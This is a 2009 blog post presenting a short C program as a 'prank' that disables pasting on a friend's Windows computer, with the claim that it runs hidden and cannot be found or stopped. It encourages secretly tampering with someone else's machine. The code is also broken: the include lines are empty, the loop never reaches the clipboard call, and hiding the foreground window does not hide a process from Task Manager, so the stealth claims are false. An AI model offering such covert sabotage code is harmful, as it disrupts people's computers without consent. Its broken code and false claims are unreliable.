Saturday, December 12, 2009

Disable paste option using C

Lets play another funky prank on ur friends computer.This trick  helps us to disable paste option..It will be very useful for us especially lab assitants during exams.
This runs in da background and hides itself from taskmanager.So there is no way people can find and disable it.Compile it with 32 bit c compilors like devc or gnu or vc++.Then run da exe file.


#include
#include
void sleep(int);
int main()
{
OpenClipboard(GetForegroundWindow());/*opening clipboard,a win32 API.*/
ShowWindow(GetForegroundWindow(),SW_HIDE);/*To hide itself,a win32 API.*/
while(1)
sleep(100);
EmptyClipboard();/*empty the clipboard,a win32 API*/
}



0 comments:

 

Computers made easy 4all Copyright © 2009 Gadget Blog is Designed by Ipietoon Sponsored by Online Business Journal